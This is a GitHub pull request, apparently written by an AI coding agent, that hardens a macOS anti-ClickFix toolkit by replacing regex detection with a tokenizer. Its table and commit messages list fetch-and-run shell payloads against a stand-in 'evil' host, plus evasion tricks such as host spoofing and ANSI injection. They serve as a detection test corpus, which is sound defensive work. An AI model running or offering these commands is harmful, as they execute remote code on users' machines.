Skip to content

security: v0.1.1 — rewrite detection as a tokenizer, close 9 silent bypasses - #1

Merged
DareDev256 merged 2 commits into
mainfrom
security/v0.1.1-grammar-rewrite
Jul 28, 2026
Merged

DareDev256 merged 2 commits into
mainfrom
security/v0.1.1-grammar-rewrite

Conversation

@DareDev256

Copy link
Copy Markdown
Owner

Security release. Anyone on v0.1.0 should upgrade.

v0.1.0's detection grammar was adversarially tested for the first time and it did not hold. Nine of thirteen realistic ClickFix payload shapes passed ShellGuard silently — no prompt, no banner, no log entry. ExposureScan's headline privacy invariant was false for the exact secret class it ranks P0. And ShellGuard's confirmation prompt could not actually be completed.

Human

Run these to see it for yourself:

zsh tests/run-corpus.zsh          # 78/78 — every bypass below, plus every known false positive
zsh tests/test-zle-integration.zsh # 4/4 — drives a REAL interactive zsh over a pty
cd exposurescan && python3 -m unittest discover -s tests   # 47 tests (was 12)

What v0.1.0 let through, verified against the shipped regex before the fix:

Payload v0.1.0 v0.1.1
curl "https://evil/x?a=1&b=2" | sh silent block
curl https://evil/x | bash; silent block
curl https://evil/x | /bin/sh silent block
bash -c "$(curl -fsSL https://evil/x)" silent block
$(curl https://evil/x) silent block
curl …raw.githubusercontent.com/<attacker>/… | sh silent block
curl -o /tmp/p https://evil/x; sh /tmp/p silent warn
osascript -e 'do shell script "curl … | zsh"' silent block
curl https://evil/x | sh (control) block block

Full write-up with every payload: SECURITY.md.

Agent

Intent. Make the two headline claims true. The kit's whole pitch is refusing claims it cannot back, so this release publishes its own misses rather than fixing quietly.

Root causes, not symptoms.

  1. A hand-written regex over an unparsed shell command cannot survive ordinary shell syntax. [^|;&]* could not cross the & in a query string; ([[:space:]]|$) broke on a trailing ;; the interpreter had to be a bare literal at a fixed offset. Replaced with a tokenizer (lib/clickfix-grammar.zsh) that respects quoting, splits into statements and pipeline stages, and normalizes each stage's command word. Evasion now requires changing what the command does.
  2. A host the public can publish to can never be a trust anchor by hostname. raw.githubusercontent.com shipped in the default allowlist — the guard was telling an attacker where to stage a payload. Trust is now scheme+host+path prefix; the wildcard-subdomain rule is gone.
  3. read -r < /dev/tty inside a ZLE widget never returns. The line editor holds the tty in raw mode with echo off, and Enter sends CR, not LF. The typed-phrase gate — the entire point of the block tier — was uncompletable. Now uses read-from-minibuffer with an stty sane fallback.
  4. Two copies of a grammar always drift. The README claimed ClipSentinel was "kept in lockstep with ShellGuard's"; they disagreed on 6 of 13 payloads. One shared file now, and CI fails if either tool grows a private host list or regex again.

Constraints honoured. No new tools — the kit stays at six. No curl | bash installer. Every elevated permission still degrades gracefully.

False positives treated as defects, not noise. An uninstalled guard catches nothing, so widening detection required narrowing it elsewhere: comment stripping, quoted-vs-unquoted /dev/tcp, python -c requiring both a network and an exec primitive (v0.1.0 flagged python3 -c "import os; os.system(1)" with no network at all), and a new warn tier so the typed phrase never becomes muscle memory.

Edge cases covered. Userinfo trick (https://sh.rustup.rs@evil/x), suffix confusion (raw.githubusercontent.com.evil.test), one untrusted host among trusted ones, interposed pipeline stages (| tee | sh, | gunzip | bash), non-base64 decoders, ANSI injection into the kit's own warning banner, and markdown/ANSI injection into ExposureScan's report via a crafted filename or note title.

Deliberately out of scope (see docs/v0.2.0-plan.md): INCIDENT.md + panic.sh, preserve.sh, WatchPost baseline integrity, exposurescan --tcc. The plan also explicitly declines to build a general hardening scanner (mSCP and Pareto own it) and recommends against a Windows port, with reasoning.

Not done here: the tag is unsigned. git tag -v v0.1.0 currently exits 1, and signing v0.1.1 needs your key — worth doing before this is cut as a release, since the kit asks users for Full Disk Access.

🤖 Generated with Claude Code

https://claude.ai/code/session_01AcTJUv94F34MdtGZCGyyur

DareDev256 and others added 2 commits July 29, 2026 02:52
…ypasses

v0.1.0's grammar was adversarially tested for the first time and did not hold.
Nine of thirteen realistic ClickFix payload shapes passed ShellGuard silently.
ExposureScan's headline privacy invariant was false for the secret class it
ranks P0. ShellGuard's confirmation prompt could not be completed at all.

Every bypass is published in SECURITY.md and asserted in tests/corpus.tsv.

DETECTION
- New lib/clickfix-grammar.zsh: a tokenizer that respects quoting, splits into
  statements and pipeline stages, and normalizes each stage's command word
  before classifying it. Replaces regex-over-raw-string, which could not
  survive ordinary shell syntax. Closes, among others:
    curl "https://evil/x?a=1&b=2" | sh   ('&' broke the [^|;&]* run)
    curl https://evil/x | bash;          (one trailing char broke the anchor)
    curl https://evil/x | /bin/sh        (a path broke the bare literal)
    bash -c "$(curl -fsSL https://evil/x)"   (no pipe shape existed)
    $(curl https://evil/x)               (substitution with no eval)
    curl -o /tmp/p https://evil/x; sh /tmp/p   (split across statements)
    osascript -e 'do shell script "curl … | zsh"'  (Script Editor lure)
- Removed raw.githubusercontent.com / raw.github.com from the default
  allowlist. Any GitHub account can publish there, so the guard was telling an
  attacker where to stage a payload it would then wave through in silence.
  Trust is now scheme+host+path-prefix; the wildcard-subdomain rule is gone.
- The allowlist can no longer waive always-hostile rules (osascript, /dev/tcp,
  quarantine stripping, decoders). v0.1.0 applied it uniformly after every
  pattern, silently waiving its own osascript rule.
- Added xattr quarantine-stripping, hdiutil-of-remote-image, and zero-width /
  bidi / homoglyph detection.

THE CONFIRMATION GATE COULD NOT BE COMPLETED
- read -r < /dev/tty inside a ZLE widget never returns: the line editor holds
  the terminal in raw mode with echo off, and Enter sends CR, not LF. The
  typed-phrase gate — the entire point of the block tier — was uncompletable.
  Now uses read-from-minibuffer with an stty sane fallback.
- The banner no longer prints the attacker-controlled command raw, so a payload
  cannot emit ANSI to scroll the warning away or forge a confirmation line.

CLIPSENTINEL
- _is_allowlisted was a substring test over the whole clipboard and its list
  contained the token "install.sh", so the published AMOS IOC shape raised
  nothing. A trailing "# deno.land" silenced the tool entirely.
- Both layers now source one grammar; CI fails if either grows a private host
  list or regex again. They previously disagreed on 6 of 13 payloads while the
  README claimed they were "kept in lockstep".
- The event log no longer stores a preview of the copied text, which contradicted
  the README's "never stored" promise.

EXPOSURESCAN
- redact() let a 12-word BIP-39 seed phrase through byte-identical, along with
  postgres://admin:hunter2@host/db. Notes titles were emitted verbatim and macOS
  derives them from the note's FIRST LINE. PII filenames were reproduced into
  every artifact. Seed-phrase detection matched only the label, so a note
  containing nothing but the twelve words was never flagged.
- Ships the 2048-word BIP-39 list; adds control-char, ANSI and markdown
  neutralisation; 0600 temp copies with signal-safe cleanup; atomic 0600 output.
- Dropped immutable=1, which made SQLite ignore the -wal file the code copied,
  under-counting recent logins in a report that is entirely a risk score.

CANARY
- canary --list aborted with "kind: unbound variable" on any non-empty ledger,
  so the advertised audit command had never worked.

FALSE POSITIVES (an uninstalled guard catches nothing)
- Comment stripping, quoted-vs-unquoted /dev/tcp, python -c requiring BOTH a
  network and an exec primitive, and a new warn tier for heuristics so the
  typed phrase never becomes muscle memory.

TESTS
- tests/corpus.tsv: 78 asserted rows (every bypass + every known FP).
- tests/test-zle-integration.zsh: drives a real interactive zsh over a pty and
  checks a marker file to prove an aborted payload does not execute.
- exposurescan: 12 -> 47 tests, incl. end-to-end scan->render->sidecar leak
  assertions against a synthetic Notes store.
- Corpus and pty tests run on macOS runners; [[ =~ ]] binds to the platform
  regex library, so a Linux-green corpus proves nothing about macOS.

DOCS
- README: corrected the macOS 26.4 paste-protection description (it does not
  inspect content; it is suppressed outright when dev tools are present),
  and narrowed the "genuinely unoccupied control point" claim now that
  BlockBlock covers paste-time as of Feb 2026.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AcTJUv94F34MdtGZCGyyur
…verify it

The kit asks for Full Disk Access and, for one optional layer, root. It conceded
that tension in the README and then gave the user no mechanism to resolve it.

- install.sh now runs an integrity gate before touching the system: refuses on a
  dirty working tree (naming the modified files), prints the commit to compare
  against GitHub, and reports whether the checked-out tag is signed. --force
  overrides, --verify runs the check alone.
- SECURITY.md gains "Verifying what you cloned": signed-tag instructions, the
  signing key and its fingerprint, and an explicit warning that an in-tree
  MANIFEST.sha256 is theatre — anyone who can edit a tracked file can re-run
  shasum over it. `.git` is already a content-addressed manifest whose hashes
  chain to a commit ID, so `git status --porcelain` is the real check.
- States plainly what is still missing: the signing key is not yet registered
  with GitHub, so tags show as unverified in the web UI even though
  `git verify-tag` succeeds; and the Canary eslogger helper stays
  documented-not-shipped until it is notarized.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AcTJUv94F34MdtGZCGyyur
@DareDev256
DareDev256 merged commit 49f84b3 into main Jul 28, 2026
5 checks passed
@DareDev256
DareDev256 deleted the security/v0.1.1-grammar-rewrite branch July 28, 2026 19:01
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant